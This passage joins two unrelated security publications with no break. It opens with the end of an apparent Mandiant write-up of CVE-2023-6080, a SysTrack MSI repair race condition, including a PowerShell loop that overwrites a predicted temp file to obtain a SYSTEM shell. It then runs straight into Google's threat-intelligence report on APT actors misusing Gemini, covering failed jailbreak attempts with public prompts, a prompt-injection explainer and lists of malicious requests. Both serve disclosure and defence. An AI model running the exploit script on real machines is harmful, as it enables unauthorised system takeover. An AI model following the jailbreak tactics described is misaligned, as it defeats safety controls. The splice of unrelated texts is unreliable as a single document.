After filling the previously identified namespace, Mandiant reran the MSI repair function to observe its subsequent behavior. Upon review of the ProcMon output, Mandiant observed that when the namespace was filled, the application would failover to an incrementing filename pattern. The pattern began with wac1.tmp and incremented the number each time in a predictable pattern, if the previous file existed. To prove this theory, Mandiant manually created wac1.tmp and wac2.tmp, then observed the MSI repair action in ProcMon. When running the MSI repair function, the resulting filename was wac3.tmp.

Figure 4: MSIExec.exe writing and executing a predicted .tmp file

Additionally, Mandiant observed that there was a small delay between the file write action and the file execution action, which could potentially result in a race condition vulnerability. Since Mandiant could now force the program to use a predetermined filename, Mandiant wrote another PowerShell script designed to attempt to win the race condition by copying a file (test.exe) to the %TEMP% folder, using the predicted filename, between the file write and execution in order to overwrite the file created by MSIExec.exe. In this test, test.exe was a simple proof-of-concept executable that would start cmd.exe.

while ($true) { if (Test-Path -Path "C:\Users\USER\AppData\Local\Temp\wac3.tmp") { Copy-Item -Path "C:\Users\USER\Desktop\test.exe" -Destination "C:\Users\USER\AppData\Local\Temp\wac3.tmp" -Force } }

Figure 5: PowerShell race condition script to copy arbitrary file into %TEMP%

With the %TEMP% folder prepared with the wac1.tmp and wac2.tmp files created, Mandiant ran both the PowerShell script and MSI repair action targeting wac3.tmp. With the race condition script running, execution of the repair action resulted in the test.exe file overwriting the intended binary and subsequently being executed by MSIExec.exe, opening cmd.exe as NT AUTHORITY\SYSTEM.

Figure 6: Obtaining NT\ AUTHORITY SYSTEM command prompt

Defensive Considerations

As discussed in Mandiant's previous blog post, misconfigured Custom Actions can be trivial to find and exploit, making them a significant security risk for organizations. It is essential for software developers to follow secure coding practices and review their implemented Custom Actions to prevent attackers from hijacking high-privilege operations triggered by the MSI repair functionality. Refer to the original blog post for general best practices when configuring Custom Actions. In discovery of CVE-2023-6080, Mandiant identified several misconfigurations and oversights that allowed for privilege escalation to NT AUTHORITY\SYSTEM.

The SysTrack MSI performed file operations including creation and execution in the user's %TEMP% folder, which provides a low-privilege user the opportunity to alter files being actively used in a high-privilege context. Software developers should keep folder permissions in mind and ensure all privileged file operations are performed from folders that are appropriately secured. This can include altering the read/write permissions for the folder, or using built-in folders such as C:\Program Files or C:\Program Files (x86), which are inherently protected from low-privilege users.

Additionally, the software's filename generation schema included a failover mechanism that allowed an attacker to force the application into using a predetermined filename. When using randomized filenames, developers should use a sufficiently large length to ensure that an attacker cannot exhaust all possible filenames and force the application into unexpected behavior. In this case, knowing the target filename before execution made it significantly easier to beat the race condition, as opposed to dynamically identifying and replacing the target file between the time of its creation by MSIExec.exe and the time of its execution.

Something security professionals must also consider is the safety of the programs running on corporate machines. Many approved applications may inadvertently contain security vulnerabilities that increase the risk in our environments. Mandiant recommends that companies consider auditing the security of their individual endpoints to ensure that defense in depth is maintained at an organizational level. Furthermore, where possible, companies should monitor the spawning of administrative shells such as cmd.exe and powershell.exe in an elevated context to alert on possible privilege escalation attempts.

A Final Word

Domain privilege escalation is often the focus of security vendors and penetration tests, but it is not the only avenue for privilege escalation or compromise of data integrity in a corporate environment. Compromise of integrity on a single system can allow an attacker to mount further attacks throughout the network; for example, the Network Access Account used by SCCM can be compromised through a single workstation and when misconfigured can be used to escalate privileges within the domain and pivot to additional systems within the network.

Mandiant offers dedicated endpoint security assessments, during which customer endpoints are tested from multiple contexts, including the perspective of an adversary with low-privilege access attempting to escalate privileges. For more information about Mandiant's technical consulting services, including comprehensive endpoint security assessments, visit our website.

We would like to extend a special thanks to Andrew Oliveau, who was a member of the testing team that discovered this vulnerability during his time at Mandiant.

CVE-2023-6080 Disclosure Timeline

• June 13, 2024 - Vulnerability reported to Lakeside Software

• July 1, 2024 - Lakeside Software confirmed the vulnerability

• August 7, 2024 - Confirmed vulnerability fixed in version 11.0

Rapid advancements in artificial intelligence (AI) are unlocking new possibilities for the way we work and accelerating innovation in science, technology, and beyond. In cybersecurity, AI is poised to transform digital defense, empowering defenders and enhancing our collective security. Large language models (LLMs) open new possibilities for defenders, from sifting through complex telemetry to secure coding, vulnerability discovery, and streamlining operations. However, some of these same AI capabilities are also available to attackers, leading to understandable anxieties about the potential for AI to be misused for malicious purposes. 

Much of the current discourse around cyber threat actors' misuse of AI is confined to theoretical research. While these studies demonstrate the potential for malicious exploitation of AI, they don't necessarily reflect the reality of how AI is currently being used by threat actors in the wild. To bridge this gap, we are sharing a comprehensive analysis of how threat actors interacted with Google's AI-powered assistant, Gemini. Our analysis was grounded by the expertise of Google's Threat Intelligence Group (GTIG), which combines decades of experience tracking threat actors on the front lines and protecting Google, our users, and our customers from government-backed attackers, targeted 0-day exploits, coordinated information operations (IO), and serious cyber crime networks.

We believe the private sector, governments, educational institutions, and other stakeholders must work together to maximize AI's benefits while also reducing the risks of abuse. At Google, we are committed to developing responsible AI guided by our principles, and we share resources and best practices to enable responsible AI development across the industry. We continuously improve our AI models to make them less susceptible to misuse, and we apply our intelligence to improve Google's defenses and protect users from cyber threat activity. We also proactively disrupt malicious activity to protect our users and help make the internet safer. We share our findings with the security community to raise awareness and enable stronger protections for all. 

aside_block

<ListValue: [StructValue([('title', 'Adversarial Misuse of Generative AI'), ('body', <wagtail.rich_text.RichText object at 0x3ec386783970>), ('btn_text', 'Download now'), ('href', 'https://services.google.com/fh/files/misc/adversarial-misuse-generative-ai.pdf'), ('image', <GAEImage: adversarial gen AI cover>)])]>

Executive Summary

Google Threat Intelligence Group (GTIG) is committed to tracking and protecting against cyber threat activity. We relentlessly defend Google, our users, and our customers by building the most complete threat picture to disrupt adversaries. As part of that effort, we investigate activity associated with threat actors to protect against malicious activity, including the misuse of generative AI or LLMs. 

This report shares our findings on government-backed threat actor use of the Gemini web application. The report encompasses new findings across advanced persistent threat (APT) and coordinated information operations (IO) actors tracked by GTIG. By using a mix of analyst review and LLM-assisted analysis, we investigated prompts by APT and IO threat actors who attempted to misuse Gemini.

Advanced Persistent Threat (APT) refers to government-backed hacking activity, including cyber espionage and destructive computer network attacks.  

Information Operations (IO) attempt to influence online audiences in a deceptive, coordinated manner. Examples include sockpuppet accounts and comment brigading. 

GTIG takes a holistic, intelligence-driven approach to detecting and disrupting threat activity, and our understanding of government-backed threat actors and their campaigns provides the needed context to identify threat enabling activity. We use a wide variety of technical signals to track government-backed threat actors and their infrastructure, and we are able to correlate those signals with activity on our platforms to protect Google and our users. By tracking this activity, we’re able to leverage our insights to counter threats across Google platforms, including disrupting the activity of threat actors who have misused Gemini. We also actively share our insights with the public to raise awareness and enable stronger protections across the wider ecosystem.

Our analysis of government-backed threat actor use of Gemini focused on understanding how threat actors are using AI in their operations and if any of this activity represents novel or unique AI-enabled attack or abuse techniques. Our findings, which are consistent with those of our industry peers, reveal that while AI can be a useful tool for threat actors, it is not yet the game-changer it is sometimes portrayed to be. While we do see threat actors using generative AI to perform common tasks like troubleshooting, research, and content generation, we do not see indications of them developing novel capabilities. 

Our key findings include:

• We did not observe any original or persistent attempts by threat actors to use prompt attacks or other machine learning (ML)-focused threats as outlined in the Secure AI Framework (SAIF) risk taxonomy. Rather than engineering tailored prompts, threat actors used more basic measures or publicly available jailbreak prompts in unsuccessful attempts to bypass Gemini's safety controls. 
• Threat actors are experimenting with Gemini to enable their operations, finding productivity gains but not yet developing novel capabilities. At present, they primarily use AI for research, troubleshooting code, and creating and localizing content. 
• APT actors used Gemini to support several phases of the attack lifecycle, including researching potential infrastructure and free hosting providers, reconnaissance on target organizations, research into vulnerabilities, payload development, and assistance with malicious scripting and evasion techniques. Iranian APT actors were the heaviest users of Gemini, using it for a wide range of purposes. Of note, we observed limited use of Gemini by Russian APT actors during the period of analysis.
• IO actors used Gemini for research; content generation including developing personas and messaging; translation and localization; and to find ways to increase their reach. Again, Iranian IO actors were the heaviest users of Gemini, accounting for three quarters of all use by IO actors. We also observed Chinese and Russian IO actors using Gemini primarily for general research and content creation. 
• Gemini's safety and security measures restricted content that would enhance adversary capabilities as observed in this dataset. Gemini provided assistance with common tasks like creating content, summarizing, explaining complex concepts, and even simple coding tasks. Assisting with more elaborate or explicitly malicious tasks generated safety responses from Gemini. 
• Threat actors attempted unsuccessfully to use Gemini to enable abuse of Google products, including researching techniques for Gmail phishing, stealing data, coding a Chrome infostealer, and bypassing Google's account verification methods. 

Rather than enabling disruptive change, generative AI allows threat actors to move faster and at higher volume. For skilled actors, generative AI tools provide a helpful framework, similar to the use of Metasploit or Cobalt Strike in cyber threat activity. For less skilled actors, they also provide a learning and productivity tool, enabling them to more quickly develop tools and incorporate existing techniques. However, current LLMs on their own are unlikely to enable breakthrough capabilities for threat actors. We note that the AI landscape is in constant flux, with new AI models and agentic systems emerging daily. As this evolution unfolds, GTIG anticipates the threat landscape to evolve in stride as threat actors adopt new AI technologies in their operations.

AI-Focused Threats

Attackers can use LLMs in two ways. One way is attempting to leverage LLMs to accelerate their campaigns (e.g., by generating code for malware or content for phishing emails). The overwhelming majority of activity we observed falls into this category. The second way attackers can use LLMs is to instruct a model or AI agent to take a malicious action (e.g., finding sensitive user data and exfiltrating it). These risks are outlined in Google's Secure AI Framework (SAIF) risk taxonomy. 

We did not observe any original or persistent attempts by threat actors to use prompt attacks or other AI-specific threats. Rather than engineering tailored prompts, threat actors used more basic measures, such as rephrasing a prompt or sending the same prompt multiple times. These attempts were unsuccessful.

Jailbreak Attempts: Basic and Based on Publicly Available Prompts

We observed a handful of cases of low-effort experimentation using publicly available jailbreak prompts in unsuccessful attempts to bypass Gemini's safety controls. Threat actors copied and pasted publicly available prompts and appended small variations in the final instruction (e.g., basic instructions to create ransomware or malware). Gemini responded with safety fallback responses and declined to follow the threat actor's instructions. 

In one example of a failed jailbreak attempt, an APT actor copied publicly available prompts into Gemini and appended basic instructions to perform coding tasks. These tasks included encoding text from a file and writing it to an executable and writing Python code for a distributed denial-of-service (DDoS) tool. In the former case, Gemini provided Python code to convert Base64 to hex, but provided a safety filtered response when the user entered a follow-up prompt that requested the same code as a VBScript.

The same group used a different publicly available jailbreak prompt to request Python code for DDoS. Gemini provided a safety filtered response stating that it could not assist, and the threat actor abandoned the session and did not attempt further interaction.

What is an AI jailbreak? 

Jailbreaks are one type of Prompt Injection attack, causing an AI model to behave in ways that they've been trained to avoid (e.g., outputting unsafe content or leaking sensitive information). Prompt Injections generally cause the LLM to execute malicious "injected" instructions as part of data that were not meant to be executed by the LLM. 

Controls against prompt injection include input/output validation and sanitization as well as adversarial training and testing. Training, tuning, and evaluation processes also help fortify models against prompt injection.

Example of a jailbreak prompt publicly available on GitHub

Some malicious actors unsuccessfully attempted to prompt Gemini for guidance on abusing Google products, such as advanced phishing techniques for Gmail, assistance coding a Chrome infostealer, and methods to bypass Google's account creation verification methods. These attempts were unsuccessful. Gemini did not produce malware or other content that could plausibly be used in a successful malicious campaign. Instead, the responses consisted of safety-guided content and generally helpful, neutral advice about coding and cybersecurity. In our continuous work to protect Google and our users, we have not seen threat actors either expand their capabilities or better succeed in their efforts to bypass Google's defenses.

Findings: Government-Backed Threat Actors Misusing Gemini

At a Glance: Government-Backed Attackers

Government-backed attackers attempted to use Gemini for coding and scripting tasks, gathering information about potential targets, researching publicly known vulnerabilities, and enabling post-compromise activities, such as defense evasion in a target environment. 

• Iran: Iranian APT actors were the heaviest users of Gemini, using it for a wide range of purposes, including research on defense organizations, vulnerability research, and creating content for campaigns. APT42 focused on crafting phishing campaigns, conducting reconnaissance on defense experts and organizations, and generating content with cybersecurity themes. 
• China: Chinese APT actors used Gemini to conduct reconnaissance, for scripting and development, to troubleshoot code, and to research how to obtain deeper access to target networks. They focused on topics such as lateral movement, privilege escalation, data exfiltration, and detection evasion. 
• North Korea: North Korean APT actors used Gemini to support several phases of the attack lifecycle, including researching potential infrastructure and free hosting providers, reconnaissance on target organizations, payload development, and assistance with malicious scripting and evasion techniques. They also used Gemini to research topics of strategic interest to the North Korean government, such as the South Korean military and cryptocurrency. Of note, North Korean actors also used Gemini to draft cover letters and research jobs—activities that would likely support North Korea's efforts to place clandestine IT workers at Western companies. 
• Russia: With Russian APT actors, we observed limited use of Gemini during the period of analysis. Their Gemini use focused on coding tasks, including converting publicly available malware into another coding language and adding encryption functions to existing code.

Google analyzed Gemini activity associated with known APT actors and identified APT groups from more than 20 countries that used Gemini. The highest volume of usage was from Iran and China. APT actors used Gemini to support several phases of the attack lifecycle, including researching potential infrastructure and free hosting providers, reconnaissance on target organizations, research into vulnerabilities, payload development, and assistance with malicious scripting and evasion techniques. The top use cases by APT actors focused on: 

• Assistance with coding tasks, including troubleshooting, tool and script development and converting or rewriting existing code 

• Vulnerability research focused on publicly reported vulnerabilities and specific CVEs 

• General research on various technologies, translations and technical explanations 

• Reconnaissance about likely targets, including details about specific organizations 

• Enabling post-compromise activity, such seeking advice on techniques to evade detection, escalate privileges or conduct internal reconnaissance in a target environment

We observed APT actors use Gemini attempting to support all phases of the attack lifecycle.

Attack Lifecycle

Topics of Gemini Usage

Reconnaissance

Attacker gathers information about the target

Iran

• Recon on experts, international defense organizations, government organizations

• Topics related to Iran-Israel proxy conflict

North Korea

• Research on companies across multiple sectors and geos

• Recon on US military and operations in South Korea 

• Research free hosting providers

China

• Research on US military, US-based IT service providers 

• Understand public database of US intelligence personnel  

• Research on target network ranges; determine domain names of targets 

Weaponization

Attacker develops or acquires tools to exploit target

• Develop webcam recording code in C++

• Convert Chrome infostealer function from Python to Node.js

• Rewrite publicly available malware into another language

• Add AES encryption functionality to provided code

Delivery

Attacker delivers weaponized exploit or payload to the target system

• Better understanding advanced phishing techniques

• Generating content for targeting a US defense organization

• Generating content with cybersecurity and AI themes

Exploitation

Attacker exploits vulnerability to gain access

• Reverse engineer endpoint detection and response (EDR) server components for health check and authentication

• Access Microsoft Exchange using password hash

• Research vulnerabilities in WinRM protocol

• Understand publicly reported vulnerabilities, including Internet of Things (IoT) bugs

Installation

Attacker installs tools or malware to maintain access

• Sign an Outlook Visual Studio Tools for Office (VSTO) plug-in and deploy it silently to all computers

• Add a self-signed certificate to Active Directory

• Research Mimikatz for Windows 11

• Research Chrome extensions that provide parental controls and monitoring

Command and control (C2)

Attacker establishes communication channel with the compromised system

• Generate code to remotely access Windows Event Log

• Active Directory management commands

• JSON Web Token (JWT) security and routing rules in Ruby on Rails

• Character encoding issues in smbclient

• Command to check IPs of admins on the domain controller

Actions on objectives

Attacker achieves their intended goal such as data theft or disruption

• Automate workflows with Selenium (e.g. logging into compromised account)

• Generate a PHP script to extract emails from Gmail into electronic mail (EML) files

• Upload large files to OneDrive

• Solution to TLS 1.3 visibility challenges

Iranian Government-Backed Actors 

Iranian government-backed actors accounted for the largest Gemini use linked to APT actors. Across Iranian government-backed actors, we observed a broad scope of research and use cases, including to enable reconnaissance on targets, for research into publicly reported vulnerabilities, to request translation and technical explanations, and to create content for possible use in future campaigns. Their use reflected strategic Iranian interests including research focused on defense organizations and experts, defense systems, foreign governments, individual dissidents, the Israel-Hamas conflict, and social issues in Iran.

At a Glance: Iranian APT Actors Using Gemini

• Over 10 Iran-backed groups observed using Gemini
• Google abuse-focused use cases: 
  • • Researching methods for extracting data from Android devices, including SMS messages, accounts, contacts, and social media accounts
• Example use cases: 
  • • Coding and scripting 
      • • PowerShell and Linux commands
        • Python code for website scraping
        • Debugging and improving a Ghidra script 
        • Developing PHP scripts to collect and store user IP addresses and browser information in a MySQL database
        • Assistance with C# programming
        • Modifying assembly code 
        • Help understanding error messages
    • Vulnerability research
      • • Research on specific CVEs and technologies, such as WinRM and IoT devices
        • Exploitation techniques and proof-of-concept code 
        • Research on server-side request forgery (SSRF) exploitation techniques
        • Research on the open-source router exploitation tool RomBuster 
    • Research about organizations 
      • • International defense organizations
        • Military and government organizations 
        • Cybersecurity companies
        • International organizations that monitor development of advanced weapons
    • Research about warfare defenses
      • • Information on the Iran-Israel proxy conflict
        • Unmanned aerial vehicles (UAV)
        • Anti-drone systems
        • Satellite technology
        • Remote sensing technology
        • Israel defense systems
    • Generating content
      • • Generating content with cybersecurity and AI themes 
        • Tailoring content to target a defense organization
        • Translating various texts into Farsi, Hebrew, and English

Crafting Phishing Campaigns 

Over 30% of Iranian APT actors' Gemini use was linked to APT42. APT42's Gemini activity reflected the group's focus on crafting successful phishing campaigns. We observed the group using Gemini to conduct reconnaissance into individual policy and defense experts, as well as organizations of interest for the group. 

In addition to reconnaissance, APT42 used the text generation and editing capabilities of Gemini to craft material for phishing campaigns, including generating content with cybersecurity themes and tailoring the output to a US defense organization. APT42 also utilized Gemini for translation including localization, or tailoring content for a local audience. This includes content tailored to local culture and local language, such as asking for translations to be in fluent English.

Vulnerability Research

The majority of APT42's efforts focused on research into publicly known vulnerabilities, such as a request to generate a list of critical vulnerabilities from 2023. They also focused on vulnerabilities in specific products such as Mikrotik, Apereo, and Atlassian.

Of note, APT42 appeared to be researching how to use generative AI tools for offensive purposes, asking Gemini for help preparing training content for a red team focused on how offensive teams can use AI tools in their operations.  

Research Into Military and Weapons Systems 

APT42 also appears to have used Gemini's translation and explanation functions to better understand publicly available information on defense systems. Their efforts included general research into the Israel-Hamas conflict, as well as strategic trends in China's defense industry. The threat actor also used Gemini for technical explanations about US-made aerospace systems.

Another Iranian APT group also focused on understanding warfare defenses including specific research into satellite signal jamming and anti-drone systems. Other Iranian APT actors researched specific defense systems, including researching information about specific unmanned aerial vehicle (UAV) models, jamming F-35 fighter jets, anti-drone systems, and Israel's missile defense systems. 

People’s Republic of China (PRC) Government-Backed Actors

Government-backed actors linked to the People's Republic of China (PRC) attempted to use Gemini to enable reconnaissance on targets, for scripting and development, to request translation and explanation of technical concepts, and attempting to enable deeper access to a network following initial compromise. PRC threat actors' usage resembled an IT admin seeking to streamline, troubleshoot, or automate their tasks. In a malicious context, however, this activity could be used to enable lateral movement, privilege escalation, data exfiltration, and detection evasion.

At a Glance: People's Republic of China APT Actors Using Gemini

• Over 20 China-backed groups observed using Gemini
• Notable use cases: 
  • • Reconnaissance
      • • Research US military and US-based IT organizations
        • Gather US government network ranges
        • Understand publicly available information about US intelligence community personnel 
        • Determine domain names of targets spanning eight countries, mostly government agencies
        • Access Microsoft Exchange using password hash
    • Vulnerability research
      • • Reverse engineer Carbon Black EDR's server components for health check and authentication
    • Scripting and development
      • • Generate code to remotely access Windows Event Log
        • Active Directory management commands
    • Translation and explanation
      • • Understand graph databases (Nebula Graph)
        • Solutions to TLS 1.3 visibility challenges
        • Understand a malicious PHP script
        • Web JWT security and routing rules in Ruby on Rails
    • Deeper system access and post-compromise actions 
      • • Sign an Outlook VSTO plug-in and deploy it silently to all computers
        • Add a self-signed certificate to Active Directory
        • Upload large files to OneDrive
        • Character encoding issues in smbclient
        • Command to check IPs of admins on the Domain Controller
        • Record passwords on the VMware vCenter
        • Impacket troubleshooting

Enabling Deeper Access in a Target Network 

PRC-backed APT actors also used Gemini to work through scripting and development tasks, many of which appeared intended to enable deeper access in a target network after threat actors obtained initial access. For example, one PRC-backed group asked Gemini for assistance figuring out how to sign a plugin for Microsoft Outlook and silently deploy it to all computers. The same actor also asked Gemini to generate code to remotely access Windows Event Log; sought instructions on how to add a self-signed certificate to Active Directory; and asked Gemini for a command to identify the IP addresses of administrators on the domain controller. Other actors used Gemini for help troubleshooting Chinese character encoding issues in smbclient and how to record passwords on the VMware vCenter. 

In another example, PRC-backed APT actors asked Gemini for assistance with Active Directory management commands and requested help troubleshooting impacket, a Python-based tool for working with network protocols. While impacket is commonly used for benign purposes, the context of the threat actor made it clear that the actor was using the tool for malicious purposes. 

Explaining Tools, Concepts, and Code 

PRC actors utilized Gemini to learn about specific tools and technologies and develop solutions to technical challenges. For example, a PRC APT actor used Gemini to break down how to use the graph database Nebula Graph. In another instance, the same actor used Gemini to offer possible solutions to TLS 1.3 visibility challenges. Another PRC-backed APT group sought to understand a malicious PHP script. 

Vulnerability Research and Reverse Engineering

In one case, a PRC-backed APT actor attempted unsuccessfully to get Gemini's help reverse engineering the endpoint detection and response (EDR) tool Carbon Black. The same threat actor copied disassembled Python bytecode into Gemini to convert the bytecode into Python code. It's not clear what their objective was. 

Unsuccessful Attempts to Elicit Internal System Information From Gemini

In one case, the PRC-backed APT actor APT41 attempted unsuccessfully to use Gemini to learn about Gemini's underlying infrastructure and systems. The actor asked Gemini to share details such as its IP address, kernel version, and network configuration. Gemini responded but did not disclose sensitive information. In a helpful tone, the responses provided publicly available details that would be widely known about the topic, while also indicating that the requested information is kept secret to prevent unauthorized access. 

North Korean Government-Backed Actors

North Korean APT actors used Gemini to support several phases of the attack lifecycle, including researching potential infrastructure and free hosting providers, reconnaissance on target organizations, payload development, and assistance with malicious scripting and evasion techniques. They also used Gemini to research topics of strategic interest to the North Korean government, such as South Korean nuclear technology and cryptocurrency. We also observed that North Korean actors were using LLMs in likely attempts to enable North Korea's efforts to place clandestine IT workers at Western companies.

At a Glance: North Korean APT Actors Using Gemini

• Nine North Korea-backed groups observed using Gemini
• Google-focused use cases: 
  • • Research advanced techniques for phishing Gmail
    • Scripting to steal data from compromised Gmail accounts
    • Understanding a Chrome extension that provides parental controls (capable of taking screenshots, keylogging)
    • Convert Chrome infostealer function from Python to Node.js
    • Bypassing restrictions on Google Voice 
    • Generate code snippets for a Chrome extension 
• Notable use cases: 
  • • Enabling clandestine IT worker scheme 
      • • Best Discord servers for freelancers
        • Exchange with overseas employees 
        • Jobs on LinkedIn 
        • Average salary
        • Drafting work proposals
        • Generate cover letters from job postings
    • Research on topics 
      • • Free hosting providers 
        • Cryptocurrency
        • Operational technology (OT) and industrial networks 
        • Nuclear technology and power plants in South Korea
        • Historic cyber events (e.g., major worms and DDoS attacks; Russia-Ukraine conflict) and cyber forces of foreign militaries
    • Research about organizations 
      • • Companies across 11 sectors and 13 countries
        • South Korean military 
        • US military 
        • German defense organizations
    • Malware development 
    • Evasion techniques
    • Automating workflows for logging into compromised accounts 
    • Understanding Mimikatz for Windows 11 
    • Scripting and troubleshooting

Clandestine IT Worker Threat

North Korean APT actors used Gemini to draft cover letters and research jobs—activities that would likely support efforts by North Korean nationals to use fake identities and obtain freelance and full-time jobs at foreign companies while concealing their true identities and locations. One North Korea-backed group utilized Gemini to draft cover letters and proposals for job descriptions, researched average salaries for specific jobs, and asked about jobs on LinkedIn. The group also used Gemini for information about overseas employee exchanges. Many of the topics would be common for anyone researching and applying for jobs. 

While normally employment-related research would be typical for any job seeker, we assess the usage is likely related to North Korea's ongoing efforts to place clandestine workers in freelance gigs or full-time jobs at Western firms. The scheme, which involves thousands of North Korean workers and has affected hundreds of US-based companies, uses IT workers with false identities to complete freelance work and send wages back to the North Korean regime.

North Korea’s AI toolkit 

Outside of their use of Gemini, North Korean cyber threat actors have shown a long-standing interest in AI tools. They likely use AI applications to augment malicious operations and improve efficiency and capabilities, and for producing content to support their campaigns, such as phishing lures and profile photos for fake personas. We assess with high confidence that North Korean cyber threat actors will continue to demonstrate an interest in these emerging technologies for the foreseeable future. 

DPRK IT Workers

We have observed DPRK IT Workers leverage accounts on assistive writing tools, Monica (monica.im) and Ahrefs (ahrefs.com), which could potentially aid the group's work despite a lack of language fluency. Additionally, the group has maintained accounts on Data Annotation Tech, a company hiring individuals to train AI models. Notably, a profile photo used by a suspected IT worker bore a noticeable resemblance to multiple different images on the internet, suggesting that a manipulation tool was used to generate the threat actor's profile photo. 

APT43

Google Threat Intelligence Group (GTIG) has detected evidence of APT43 actors accessing multiple publicly available LLM tools; however, the intended purpose is not clear. Based on the capabilities of these platforms and historical APT43 activities, it is possible these applications could be used in the creation of rapport-building emails, lure content, and malicious PowerShell and scripting efforts. 

• GTIG has detected APT43 actors reference publicly available AI chatbot tools alongside the topic "북핵 해결" (translation: "North Korean nuclear issue solution"), indicating the group is using AI applications to conduct technical research as well as open-source analysis on South Korean foreign and military affairs and nuclear issues. 

• GTIG has identified APT43 actors accessing multiple publicly available AI image generation tools, including tools used for image manipulation and creating realistic-looking human portraits. 

Target Research and Reconnaissance

North Korean actors also engaged with Gemini with several questions that appeared focused on conducting initial research and reconnaissance into prospective targets. They also researched organizations and industries that are typical targets for North Korean actors, including the US and South Korean militaries and defense contractors. One North Korean APT group asked Gemini for information about companies and organizations across a variety of industry sectors and regions. Some of this Gemini usage related directly to organizations that the same group had attempted to target in phishing and malware campaigns that Google previously detected and disrupted.

In addition to research into companies, North Korean APT actors researched nuclear technology and power plants in South Korea, such as site locations, recent news articles, and the security status of the plants. Gemini responded with widely available, public information and facts that would be easily discoverable in an online search. 

Help with Scripting, Payload Development, Defense Evasion 

North Korean actors also tried to use Gemini to assist with development and scripting tasks. One North Korea-backed group attempted to use Gemini to help develop webcam recording code in C++. Gemini provided multiple versions of code, and repeated efforts by the actor potentially suggested their frustration by Gemini's answers. The same group also asked Gemini to generate a robots.txt file to block crawlers and an .htaccess file to redirect all URLs except CSS extensions. 

One North Korean APT actor used Gemini for assistance developing code for sandbox evasion. For example, the threat actor utilized Gemini to write code in C++ to detect VM environments and Hyper-V virtual machines. Gemini provided responses with short code snippets to perform simple sandbox checks. The same group also sought help troubleshooting Java errors when implementing AES encryption, and separately asked Gemini if it is possible to acquire a system password on Windows 11 using Mimikatz. 

Russian Government-Backed Actors 

During the period of analysis, we observed limited use of Gemini by Russia-backed APT actors. Of this limited use, the majority of usage appeared benign, rather than threat-enabling. The reasons for this low engagement are unclear. It is possible Russian actors avoided Gemini out of operational security considerations, staying off Western-controlled platforms to avoid monitoring of their activities. They may be using AI tools produced by Russian firms or locally hosting LLMs, which would ensure full control of their infrastructure. Alternatively, they may have favored other Western LLMs.

One Russian government-backed group used Gemini to request help with a handful of tasks, including help rewriting publicly available malware into another language, adding encryption functionality to code, and explanations for how a specific block of publicly available malicious code functions.

At a Glance: Russian APT Actors Using Gemini

• Three Russia-backed groups observed using Gemini
• Notable use cases: 
  • • Scripting
      • • Help rewriting public malware into another language
    • Payload crafting
      • • Add AES encryption functionality to provided code
    • Translation and explanation 
      • • Understand how some public malicious code works

Financially Motivated Actors Using LLMs

Threat actors in underground marketplaces are advertising ways to bypass security guardrails to help LLMs with malware development, phishing, and other malicious tasks. The offerings include jailbroken LLMs that are ready-made for malicious use. 

Throughout 2023 and 2024, Google Threat Intelligence Group (GTIG) observed underground forum posts related to LLMs, indicating there is a burgeoning market for nefarious versions of LLMs. Some advertisements boast customized and jailbroken LLMs that don't have restrictions for malware development purposes, or they tout a lack of security measures typically found on legitimate services, allowing the user to prompt the LLM about any topic or task without incurring security guardrails or limits on their queries. Examples include FraudGPT, which has been advertised on Telegram as having no limitations, and WormGPT, a privacy focused, "uncensored" LLM capable of developing malware.   

Financially motivated actors are using LLMs to help augment business email compromise (BEC) operations. GTIG has noted evidence of financially motivated actors using manipulated video and voice content in business email compromise (BEC) scams. Media reports indicate that financially motivated actors have reportedly used WormGPT to create more persuasive BEC messages.

Findings: Information Operations (IO) Actors Misusing Gemini

At a Glance: Information Operations Actors 

IO actors attempted to use Gemini for research, content generation, translation and localization, and to find ways to increase their reach.

• Iran: Iranian IO actors used Gemini for a wide range of tasks, accounting for three quarters of all IO prompts. They used Gemini for content creation and manipulation, including generating articles, rewriting text with a specific tone, and optimizing it for better reach. Their activity also focused on translation and localization, adapting content for different audiences, and for general research into news, current events, and political issues. 
• China: Pro-China IO actors used Gemini primarily for general research on various topics, including a variety of topics of strategic interest to the Chinese government. The most prolific IO actor we track, DRAGONBRIDGE, was responsible for the majority of this activity. They also used Gemini to research current events and politics, and in a few cases, they used Gemini to generate articles or content on specific topics.
• Russia: Russian IO actors used Gemini primarily for general research, content creation, and translation. For example, their use involved assistance drafting content, rewriting article titles, and planning social media campaigns. Some activity demonstrated an interest in developing AI capabilities, asking for information on tools for creating online AI chatbots, developer tools for interacting with LLMs, and options for textual content analysis.

IO actors used Gemini for research, content generation including developing personas and messaging, translation and localization, and to find ways to increase their reach. Common use cases include general research into news and current events as well as specific research into individuals and organizations. In addition to creating content for campaigns, including personas and content, the actors researched increasing the efficacy of campaigns, including automating distribution, using search engine optimization (SEO) to optimize the reach of campaigns, and increasing operational security. As with government-backed groups, IO actors also used Gemini for translation and localization and for understanding the meanings or context of content. 

Iran-Linked Information Operations Actors

Iran-based information operations (IO) groups used Gemini for a wide range of tasks, including general research, translation and localization, content creation and manipulation, and generating content with a specific bias or tone. We also observed Iran-based IO actors engage with Gemini about news events and ask Gemini to provide details on economic and political issues in Iran, the US, the Middle East, and Europe.

In line with their practice of mixing original and borrowed content, Iranian IO actors translated existing material, including news-like articles. They then used Gemini to explain the context and meaning of particular phrases within the given text.

Iran-based IO actors also used Gemini to localize the content, seeking human-like translation and asking Gemini for help with tasks like making the text sound like a native English speaker. They used Gemini to manipulate text (e.g., asking for help rewriting existing text on immigration and crime in a specific style or tone). 

Iran's activity also included research about improving the reach of their campaigns. For example, they attempted to generate SEO-optimized content, likely in an effort to reach a larger audience. Some actors also used Gemini to suggest strategies for increasing engagement on social media.

At a Glance: Iran-Linked IO Actors Using Gemini

• Eight Iran-linked IO groups observed using Gemini 
• Example use cases: 
  • • Content creation - text 
      • • Generate article titles
        • Generate SEO-optimized content and titles
        • Draft a report critical of Bahrain 
        • Draft titles and hashtags in English and Farsi for videos that are catchy or create urgency to watch the content
        • Draft titles and descriptions promoting Islam
    • Translation - content in / out of native language
      • • Translate into Farsi-provided texts about a variety of topics, including the Iranian election, human rights, international law, Islam, and other topics
        • Translate Farsi-language idioms and proverbs to other languages
        • Translate news about the US economy, US government, and politics into Farsi, using a specified tone
        • Draft a French-language headline to get viewers to engage with specific content
    • Content manipulation - copy editing to refine content
      • • Reformulate specific text about Sharia law
        • Paraphrase content describing specific improvements to Iran's export economy
        • Rewrite a provided text about diplomacy and economic challenges with countries like China and Germany
        • Provide synonyms for specific words or phrases
        • Rewrite provided text about Islam and Iraq in different styles or tones
        • Proofread provided content 
    • Content creation - biased text
